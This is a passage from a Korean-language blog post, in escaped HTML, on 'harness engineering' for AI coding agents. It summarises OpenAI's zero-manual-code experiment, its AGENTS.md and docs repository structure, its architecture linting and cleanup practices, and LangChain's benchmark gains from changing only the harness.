&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://www.anthropic.com/engineering/harness-design-long-running-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Harness Design for Long-Running Apps&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Prithvi Rajasekaran&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;하네스의 흥미로운 조합 공간은 모델이 좋아져도 줄어들지 않는다. 이동할 뿐이다.&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2644&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/chTwV7/dJMcagSs1OX/vKb3xdz5q1P48wCmnQy6fk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/chTwV7/dJMcagSs1OX/vKb3xdz5q1P48wCmnQy6fk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/chTwV7/dJMcagSs1OX/vKb3xdz5q1P48wCmnQy6fk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FchTwV7%2FdJMcagSs1OX%2FvKb3xdz5q1P48wCmnQy6fk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2644&quot; height=&quot;1440&quot; data-origin-width=&quot;2644&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;두 글의 공통된 발견: &lt;b&gt;모델의 원시 능력(raw capability)이 올라가도, 하네스 없이는 복잡한 실세계 작업을 안정적으로 수행할 수 없다.&lt;/b&gt; 모델이 좋아질수록 하네스가 불필요해지는 게 아니라, 하네스가 해결할 수 있는 문제의 복잡도가 함께 올라간다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;업계의 반응도 뜨겁다. &lt;b&gt;Aaron Levie(Box CEO)&lt;/b&gt;는 X에서 &lt;i&gt;&quot;에이전트 하네스의 힘 배수(force multiplier)가 미친 수준이다&quot;&lt;/i&gt;라고 평가했고, &lt;b&gt;Martin Fowler(Thoughtworks)&lt;/b&gt;는 Birgitta Bockeler의 분석을 공유하며 &lt;i&gt;&quot;하네스가 서비스 템플릿의 새로운 형태가 될 수 있다&quot;&lt;/i&gt;고 전망했다 (&lt;a href=&quot;https://martinfowler.com/articles/exploring-gen-ai/harness-engineering.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;출처, 2026-02-17&lt;/a&gt;).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;LangChain&lt;/b&gt;은 모델(gpt-5.2-codex)을 고정하고 하네스만 변경하여 Terminal Bench 2.0 점수를 52.8&amp;rarr;66.5로 13.7점 올린 실험 결과를 공개했다 (&lt;a href=&quot;https://blog.langchain.com/improving-deep-agents-with-harness-engineering/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;출처, 2026-02-17&lt;/a&gt;). 한국의 &lt;a href=&quot;https://news.hada.io/topic?id=27457&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekNews에서도 82포인트&lt;/a&gt;를 기록하며 화제가 되었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 반응들이 보여주는 것은 하나다: &lt;b&gt;하네스는 더 이상 &quot;있으면 좋은 것&quot;이 아니라, 에이전트 코딩의 성능을 결정하는 핵심 변수&lt;/b&gt;로 인식되고 있다는 점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 하네스(Harness)란 무엇인가&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;하네스(harness)는 원래 마구(馬具)를 뜻한다. 말의 힘을 제어하고 방향을 잡아주는 장치다. AI 맥락에서의 하네스도 같은 역할이다 &amp;mdash; &lt;b&gt;LLM의 능력을 특정 작업에 맞게 제어하고, 방향을 잡아주고, 결과를 검증하는 모든 것&lt;/b&gt;을 말한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;하네스 &amp;ne; 프롬프트&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;프롬프트는 하네스의 일부일 뿐이다. 하네스에는 &lt;b&gt;리포지토리 구조, 문서 체계, 린터/CI, 피드백 루프, 에이전트 간 통신 프로토콜, 컨텍스트 관리 전략&lt;/b&gt;이 모두 포함된다. OpenAI의 표현을 빌리면 &quot;에이전트가 유용한 일을 할 수 있게 해주는 도구, 추상화, 내부 구조의 총체&quot;이다.&lt;/p&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2626&quot; data-origin-height=&quot;1348&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bK2PmV/dJMcaa5Mvht/oC84BPWHr6CF7QpauIkOFK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bK2PmV/dJMcaa5Mvht/oC84BPWHr6CF7QpauIkOFK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bK2PmV/dJMcaa5Mvht/oC84BPWHr6CF7QpauIkOFK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbK2PmV%2FdJMcaa5Mvht%2FoC84BPWHr6CF7QpauIkOFK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2626&quot; height=&quot;1348&quot; data-origin-width=&quot;2626&quot; data-origin-height=&quot;1348&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Phil Schmid(Hugging Face)&lt;/b&gt;가 제안한 비유가 직관적이다:&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;모델 = CPU, 컨텍스트 윈도우 = RAM, 에이전트 하네스 = 운영체제, 에이전트 = 애플리케이션&lt;/b&gt;.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CPU가 아무리 빨라도 좋은 OS 없이는 유용한 소프트웨어를 돌릴 수 없듯이, 모델이 아무리 좋아도 좋은 하네스 없이는 복잡한 작업을 안정적으로 수행할 수 없다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;LangChain&lt;/b&gt;은 이를 공식 분류 체계로 정리했다:&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Agent Framework&lt;/b&gt;(LangChain) &amp;rarr; &lt;b&gt;Agent Runtime&lt;/b&gt;(LangGraph) &amp;rarr; &lt;b&gt;Agent Harness&lt;/b&gt;(DeepAgents).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;에이전트 = 모델 + 하네스. 모델이 아니라면, 당신은 하네스를 만들고 있는 것이다.&quot;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;구체적으로 하네스는 다음을 포함한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;환경 설계&lt;/b&gt;: 에이전트가 작업할 리포지토리 구조, 문서 체계, 도구 접근성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;작업 분해&lt;/b&gt;: 큰 목표를 에이전트가 처리할 수 있는 단위로 나누는 전략&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;품질 검증&lt;/b&gt;: 린터, 테스트, 평가 에이전트 등 결과물의 정확성을 보장하는 메커니즘&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;컨텍스트 관리&lt;/b&gt;: 긴 작업에서 컨텍스트 윈도우를 효율적으로 사용하는 전략&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;피드백 루프&lt;/b&gt;: 결과를 평가하고 개선을 반복하는 구조&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;엔트로피 관리&lt;/b&gt;: 시간이 지남에 따라 코드베이스가 썩지 않게 유지하는 프로세스&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 12px; border: 1px solid #cce5ff; margin: 20px 0;&quot;&gt;
&lt;h4 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 16px;&quot; data-ke-size=&quot;size20&quot;&gt;프롬프트 엔지니어링 vs 하네스 엔지니어링&lt;/h4&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #0066cc; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; width: 25%;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; width: 37.5%;&quot;&gt;프롬프트 엔지니어링&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; width: 37.5%;&quot;&gt;하네스 엔지니어링&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px; font-weight: bold; border-bottom: 1px solid #e0e0e0;&quot;&gt;초점&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border-bottom: 1px solid #e0e0e0;&quot;&gt;입력 텍스트 최적화&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border-bottom: 1px solid #e0e0e0;&quot;&gt;모델이 작동하는 환경 설계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; font-weight: bold; border-bottom: 1px solid #e0e0e0;&quot;&gt;범위&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border-bottom: 1px solid #e0e0e0;&quot;&gt;단일 요청 수준&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border-bottom: 1px solid #e0e0e0;&quot;&gt;시스템 전체 수준&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px; font-weight: bold; border-bottom: 1px solid #e0e0e0;&quot;&gt;방법&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border-bottom: 1px solid #e0e0e0;&quot;&gt;지시 문구 작성/개선&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border-bottom: 1px solid #e0e0e0;&quot;&gt;도구, 피드백 루프, 구조 설계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; font-weight: bold; border-bottom: 1px solid #e0e0e0;&quot;&gt;재현성&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border-bottom: 1px solid #e0e0e0;&quot;&gt;낮음 (동일 프롬프트도 결과 상이)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border-bottom: 1px solid #e0e0e0;&quot;&gt;높음 (구조적 제약으로 일관성 확보)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px; font-weight: bold;&quot;&gt;확장성&lt;/td&gt;
&lt;td style=&quot;padding: 10px;&quot;&gt;모델 교체 시 재작성 필요&lt;/td&gt;
&lt;td style=&quot;padding: 10px;&quot;&gt;하네스가 모델 변화를 흡수&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. OpenAI의 접근: 하네스 엔지니어링&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI의 글은 &lt;b&gt;5개월간 수동 코드 0줄로 내부 제품을 만든 실험&lt;/b&gt;에서 나왔다. (출처: &lt;a href=&quot;https://openai.com/index/harness-engineering/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Engineering Blog, 2026-02-11&lt;/a&gt;)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2612&quot; data-origin-height=&quot;1424&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PqM6a/dJMcagrnziV/ZHitlToFBJDDUiuLtLxGP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PqM6a/dJMcagrnziV/ZHitlToFBJDDUiuLtLxGP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PqM6a/dJMcagrnziV/ZHitlToFBJDDUiuLtLxGP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPqM6a%2FdJMcagrnziV%2FZHitlToFBJDDUiuLtLxGP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2612&quot; height=&quot;1424&quot; data-origin-width=&quot;2612&quot; data-origin-height=&quot;1424&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;0줄 수동 코드, 100만 줄 제품&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;지표&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수치&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;기간&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;5개월 (2025년 8월~)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;수동 작성 코드&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;0줄&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;총 코드량&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;~100만 줄&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;PR 수&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;~1,500개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;엔지니어 수&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;3명 &amp;rarr; 7명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;처리량&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;엔지니어당 3.5 PR/일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;속도 추정&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;수작업 대비 ~1/10 시간 &lt;small style=&quot;color: #888;&quot;&gt;[ESTIMATE - 원문에서 직접 인용되지 않음]&lt;/small&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;핵심 원칙은 &lt;b&gt;&quot;Humans steer. Agents execute.&quot;&lt;/b&gt; &amp;mdash; 인간은 방향을 잡고, 에이전트가 실행한다. 인간은 코드를 쓰는 것이 아니라 &lt;b&gt;환경을 설계하고, 의도를 명세하고, 피드백 루프를 만드는 것&lt;/b&gt;이 주 업무가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;리포지토리 = 에이전트의 세계&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI가 가장 강조하는 개념: &lt;b&gt;&quot;에이전트가 접근할 수 없는 것은 존재하지 않는 것과 같다.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Google Docs에 있는 설계 문서, Slack에서 합의한 아키텍처 결정, 사람의 머릿속에 있는 암묵지 &amp;mdash; 이런 것들은 에이전트에게 &lt;b&gt;보이지 않는다&lt;/b&gt;. 따라서 모든 지식을 리포지토리 안에 버전 관리되는 형태로 넣어야 한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;# OpenAI가 제안하는 리포지토리 지식 구조

AGENTS.md              # 약 100줄의 &quot;목차&quot; &amp;mdash; 지도 역할
ARCHITECTURE.md        # 최상위 도메인/패키지 맵
docs/
├── design-docs/       # 설계 문서 (검증 상태 포함)
│   ├── index.md
│   ├── core-beliefs.md
│   └── ...
├── exec-plans/        # 실행 계획 (활성/완료/기술부채)
│   ├── active/
│   ├── completed/
│   └── tech-debt-tracker.md
├── generated/         # 자동 생성 문서 (DB 스키마 등)
├── product-specs/     # 제품 스펙
├── references/        # 외부 참조 (llms.txt 등)
├── DESIGN.md
├── FRONTEND.md
├── QUALITY_SCORE.md   # 각 도메인/레이어별 품질 등급
├── RELIABILITY.md
└── SECURITY.md&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2642&quot; data-origin-height=&quot;1462&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/by36kH/dJMcaivWaoU/3nCIt4VcaWLPk1OCQVAqLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/by36kH/dJMcaivWaoU/3nCIt4VcaWLPk1OCQVAqLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/by36kH/dJMcaivWaoU/3nCIt4VcaWLPk1OCQVAqLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fby36kH%2FdJMcaivWaoU%2F3nCIt4VcaWLPk1OCQVAqLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2642&quot; height=&quot;1462&quot; data-origin-width=&quot;2642&quot; data-origin-height=&quot;1462&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AGENTS.md를 &quot;1,000페이지 매뉴얼&quot;이 아닌 &quot;목차&quot;로 쓰라&lt;/b&gt;는 것이 핵심이다. OpenAI는 초기에 거대한 AGENTS.md를 시도했지만 실패했다. 이유 4가지:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;컨텍스트는 희소 자원&lt;/b&gt;: 거대한 지시 파일이 실제 작업 컨텍스트를 밀어낸다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;모든 게 중요하면 아무것도 중요하지 않다&lt;/b&gt;: 에이전트가 의도적 탐색 대신 패턴 매칭에 빠진다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;즉시 썩는다&lt;/b&gt;: 단일체 매뉴얼은 유지보수가 안 된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;검증이 어렵다&lt;/b&gt;: 하나의 파일로는 커버리지, 신선도, 교차 링크를 기계적으로 확인할 수 없다&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;대신 &lt;b&gt;Progressive Disclosure&lt;/b&gt;(점진적 공개)를 사용한다. 에이전트는 작고 안정적인 진입점(AGENTS.md)에서 시작해서, 필요에 따라 더 깊은 문서를 탐색한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;아키텍처 강제와 엔트로피 관리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;에이전트가 100만 줄의 코드를 생성하면 &lt;b&gt;엔트로피&lt;/b&gt;(코드 품질 저하)가 불가피하다. OpenAI는 이를 두 가지로 해결한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2408&quot; data-origin-height=&quot;1346&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxCQ8F/dJMb996RXjO/Dd7knTJMkyC57o3fB5Cg50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxCQ8F/dJMb996RXjO/Dd7knTJMkyC57o3fB5Cg50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxCQ8F/dJMb996RXjO/Dd7knTJMkyC57o3fB5Cg50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxCQ8F%2FdJMb996RXjO%2FDd7knTJMkyC57o3fB5Cg50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2408&quot; height=&quot;1346&quot; data-origin-width=&quot;2408&quot; data-origin-height=&quot;1346&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1) 아키텍처 불변량(Invariant) 강제&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;각 비즈니스 도메인을 고정된 레이어(Types &amp;rarr; Config &amp;rarr; Repo &amp;rarr; Service &amp;rarr; Runtime &amp;rarr; UI)로 나누고, 의존성 방향을 린터로 강제한다. &quot;구현 방법은 자유롭게, 경계는 엄격하게&quot;가 원칙이다. 이 린터도 Codex가 작성했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2) &quot;가비지 컬렉션&quot; &amp;mdash; 정기적 정리&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;초기에는 매주 금요일(주당 20%)을 &quot;AI 슬롭(slop) 청소&quot;에 썼는데 확장이 안 됐다. 대신 &quot;golden principles&quot;를 리포지토리에 코드화하고, &lt;b&gt;백그라운드 Codex 태스크&lt;/b&gt;가 정기적으로 위반을 스캔하여 리팩토링 PR을 열도록 자동화했다. 기술 부채를 &quot;고이자 대출&quot;에 비유하며, 소량씩 지속적으로 갚는 것이 폭발적으로 쌓이는 것보다 낫다고 말한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;OpenAI의 핵심 통찰&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;에이전트가 생성한 코드가 인간의 스타일 선호와 항상 일치하지는 않는다. &lt;b&gt;그래도 괜찮다.&lt;/b&gt; 코드가 정확하고, 유지보수 가능하고, 미래 에이전트 실행에 읽기 쉬우면 기준을 충족한다.&quot;&lt;/p&gt;
&lt;/div&gt;
